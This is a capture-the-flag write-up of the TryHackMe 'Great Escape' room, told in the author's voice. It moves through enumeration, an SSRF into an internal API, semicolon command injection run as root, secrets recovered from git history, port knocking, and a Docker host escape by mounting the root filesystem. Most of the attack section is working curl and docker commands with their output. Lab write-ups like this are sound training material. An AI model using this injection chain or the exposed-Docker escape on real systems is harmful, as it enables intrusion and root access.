Contents

1

The Great Escape

While enumeration was running, I just poked around as a user. We know there’s a webserver and we know there’s going to be a docker escape.

2

Sweet, the home page looks like we’ve got a little photo gallery type application going on. A sign-up/login functionality seems like a great place to poke.

Login:
3

Clicking sign-up we get:
4

/admin and /courses redirect to /login

At this point, enumeration finished:

$ sudo nmap -n  $TARGET
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.54 seconds

$ nikto --host $TARGET --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.143.147
+ Target Hostname:    10.10.143.147
+ Target Port:        80
+ Start Time:         2021-03-09 14:20:09 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.19.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/api/' in robots.txt returned a non-forbidden or redirect HTTP code (503)
+ Entry '/*.bak.txt$' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
... a lot of junk...

The first thing there I checked out was robots.txt:

$ curl http://10.10.143.147/robots.txt
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$

And we can see in index source that the pages seem minified, and include static resources from /_nuxt (HTTP 403). A quick lookup and we discover Nuxt is a Vue framework. No useful results from some reseach for exploits for _nuxt.

A peak at the commented out line, exif-util, and we see a lovely file upload form:
5

When we upload an image to it we get:
6

We also seem to be able to run curl requests from the target machine using this:
8

I fuzzed the URL to see if we could uncover any services on the target:
9

curl  http://10.10.92.221/api/exif?url=http:%2F%2F127.0.0.1:8080
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Nothing to see here</title>
</head>
<body>

<p>Nothing to see here, move along...</p>

</body>
</html> 

User Flag

I requested a hint from tryhackme. It tells me to look for some well known files. The only thing that comes to mind is OIDC’s .well-known endpoint

 curl http://10.10.92.221/.well-known/                                                                                                                           1 ⨯
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.19.6</center>
</body>
</html>

RFC 8615 defines the subdirectory for us. I searched around for common files found here and tried curling them one by one and finally found security.txt:
10

And we find the user flag!

$ curl -I HEAD http://10.10.92.221/****
curl: (6) Could not resolve host: HEAD
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Tue, 09 Mar 2021 22:36:33 GMT
Connection: keep-alive
flag: ******

Get A shell

I spent Way too much time on this before I finally figured it out… The one route on robots.txt I found nothing on was the backup wildcard. I tried all sorts of brute-forcing, before finally hitting something manually:

$ curl http://10.10.152.18/exif-util.bak.txt
curl http://10.10.152.18/exif-util.bak.txt                           130 ⨯
<template>
  <section>
    <div class="container">
      <h1 class="title">Exif Utils</h1>
      <section>
        <form @submit.prevent="submitUrl" name="submitUrl">
          <b-field grouped label="Enter a URL to an image">
            <b-input
              placeholder="http://..."
              expanded
              v-model="url"
            ></b-input>
            <b-button native-type="submit" type="is-dark">
              Submit
            </b-button>
          </b-field>
        </form>
      </section>
      <section v-if="hasResponse">
        <pre>
          {{ response }}
        </pre>
      </section>
    </div>
  </section>
</template>

<script>
export default {
  name: 'Exif Util',
  auth: false,
  data() {
    return {
      hasResponse: false,
      response: '',
      url: '',
    }
  },
  methods: {
    async submitUrl() {
      this.hasResponse = false
      console.log('Submitted URL')
      try {
        const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
          params: {
            url: this.url,
          },
        })
        this.hasResponse = true
        this.response = response
      } catch (err) {
        console.log(err)
        this.$buefy.notification.open({
          duration: 4000,
          message: 'Something bad happened, please verify that the URL is valid',
          type: 'is-danger',
          position: 'is-top',
          hasIcon: true,
        })
      }
    },
  },
}
</script>

Reading through this carefully, we can see there used to be an endpoint at http://api-dev-backup:8080/exif. Was it left up by accident? We can check with our internal tunnel!

$ curl http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=localhost:80
An error occurred: HTTP Exception 400 Bad Request
                Response was:
                ---------------------------------------
                <-- 400 http://api-dev-backup:8080/exif?url=localhost:80
Response : Bad Request
Length : 29
Body : Request contains banned words
Headers : (2)
Content-Type : text/plain;charset=UTF-8
Content-Length : 29

It is, maybe this one has less sanitization of the parameter?

$ curl http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1%3Bid
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               uid=0(root) gid=0(root) groups=0(root)

Now let’s not get too excited, we know this is a docker container. Although, we should know to never let applications run as root in Docker because this sets us up for a container escape now doesn’t it!

Now we want a reverse shell, but the basics are included in that bad words list…

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;which%20nc"
Body : Request contains banned words

We do have sh

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;which%20sh"  
               /bin/sh

But tcp/udp are on the banned words list so it looks like this is probably not going to work for us:

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;udp"     
Body : Request contains banned words

So we’re stuck poking around the system with curl for a while!

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;ls%20-la%20/root"
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               total 28
drwx------ 1 root root 4096 Jan  7 16:48 .
drwxr-xr-x 1 root root 4096 Jan  7 22:14 ..
lrwxrwxrwx 1 root root    9 Jan  6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan  7 16:48 .git
-rw-r--r-- 1 root root   53 Jan  6 20:51 .gitconfig
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-rw-r-- 1 root root  201 Jan  7 16:46 dev-note.txt

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cat%20/root/dev-note.txt"
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               Hey guys,

Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I\'ve deleted the stuff.

Anyways, the password is *****

Cheers,

Hydra

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cat%20/root/.gitconfig"  
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               [user]
	email = [email protected]
	name = Hydra

Okay, we’ve got a password, but what does it do for us? (I tried ssh combination, but the ssh endpoint behaves very strangely… not worth pursuing for now)

There’s also a git repository here, and we have the git binary present on the machine:

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;git%20status"
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               On branch master
Untracked files:
  (use "git add <file>..." to include in what will be committed)

	.bash_history
	.bashrc
	.gitconfig
	.profile

nothing added to commit but untracked files present (use "git add" to track)

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;git%20log"   
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <[email protected]>
Date:   Thu Jan 7 16:48:58 2021 +0000

    fixed the dev note

commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <[email protected]>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Removed the flag and original dev note b/c Security

commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <[email protected]>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

Okay, we can checkout that old commit:

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;git%20checkout%20a3d30a7d0510dc6565ff9316e3fb84434916dee8"
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               Note: checking out 'a3d30a7d0510dc6565ff9316e3fb84434916dee8'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

HEAD is now at a3d30a7 Added the flag and dev notes

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;ls%20-la"
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               total 40
drwx------ 1 root root 4096 Mar 10 21:08 .
drwxr-xr-x 1 root root 4096 Jan  7 22:14 ..
lrwxrwxrwx 1 root root    9 Jan  6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 1 root root 4096 Mar 10 21:08 .git
-rw-r--r-- 1 root root   53 Jan  6 20:51 .gitconfig
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root  213 Mar 10 21:08 dev-note.txt
-rw-r--r-- 1 root root   75 Mar 10 21:08 flag.txt

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;cat%20flag.txt"
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               You found the root flag, or did you?

THM{*****}

$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;cat%20dev-note.txt"
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               Hey guys,

I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.

Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.

Cheers,

Hydra

Port knocking again! We’ve seen this before! Easy enough.

$ knock -v -d 1000 10.10.152.18  42 1337 10420 6969 63000
hitting tcp 10.10.152.18:42
hitting tcp 10.10.152.18:1337
hitting tcp 10.10.152.18:10420
hitting tcp 10.10.152.18:6969
hitting tcp 10.10.152.18:63000
$ nmap 

Lovely, let’s do some damage!

$ export DOCKER_HOST=tcp://10.10.152.18:2375 
$ docker ps                           
CONTAINER ID   IMAGE          COMMAND                  CREATED        STATUS             PORTS                  NAMES
49fe455a9681   frontend       "/docker-entrypoint.…"   2 months ago   Up About an hour   0.0.0.0:80->80/tcp     dockerescapecompose_frontend_1
4b51f5742aad   exif-api-dev   "./application -Dqua…"   2 months ago   Up About an hour                          dockerescapecompose_api-dev-backup_1
cb83912607b9   exif-api       "./application -Dqua…"   2 months ago   Up About an hour   8080/tcp               dockerescapecompose_api_1
548b701caa56   endlessh       "/endlessh -v"           2 months ago   Up About an hour   0.0.0.0:22->2222/tcp   dockerescapecompose_endlessh_1
$ docker image ls        
REPOSITORY                                    TAG       IMAGE ID       CREATED         SIZE
exif-api-dev                                  latest    4084cb55e1c7   2 months ago    214MB
exif-api                                      latest    923c5821b907   2 months ago    163MB
frontend                                      latest    577f9da1362e   2 months ago    138MB
endlessh                                      latest    7bde5182dc5e   2 months ago    5.67MB
nginx                                         latest    ae2feff98a0c   2 months ago    133MB
debian                                        10-slim   4a9cd57610d6   2 months ago    69.2MB
registry.access.redhat.com/ubi8/ubi-minimal   8.3       7331d26c1fdf   3 months ago    103MB
alpine
# Use alpine, test that AC let's us run containers
$ docker run --rm -it 78a2ce922f86  /bin/sh 
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

# Now, let's try to mount host volume
docker run --rm --volume /:/home -it 78a2ce922f86 /bin/sh
/ # ls /home
bin             etc             initrd.img.old  lost+found      opt             run             swapfile        usr             vmlinuz.old
boot            home            lib             media           proc            sbin            sys             var
dev             initrd.img      lib64           mnt             root            srv             tmp             vmlinuz
/ # ls /home/root
flag.txt
/ # cat /home/root/flag.txt
Congrats, you found the real flag!

THM{*******}

Wohooo!

Directory
$ cd content && tree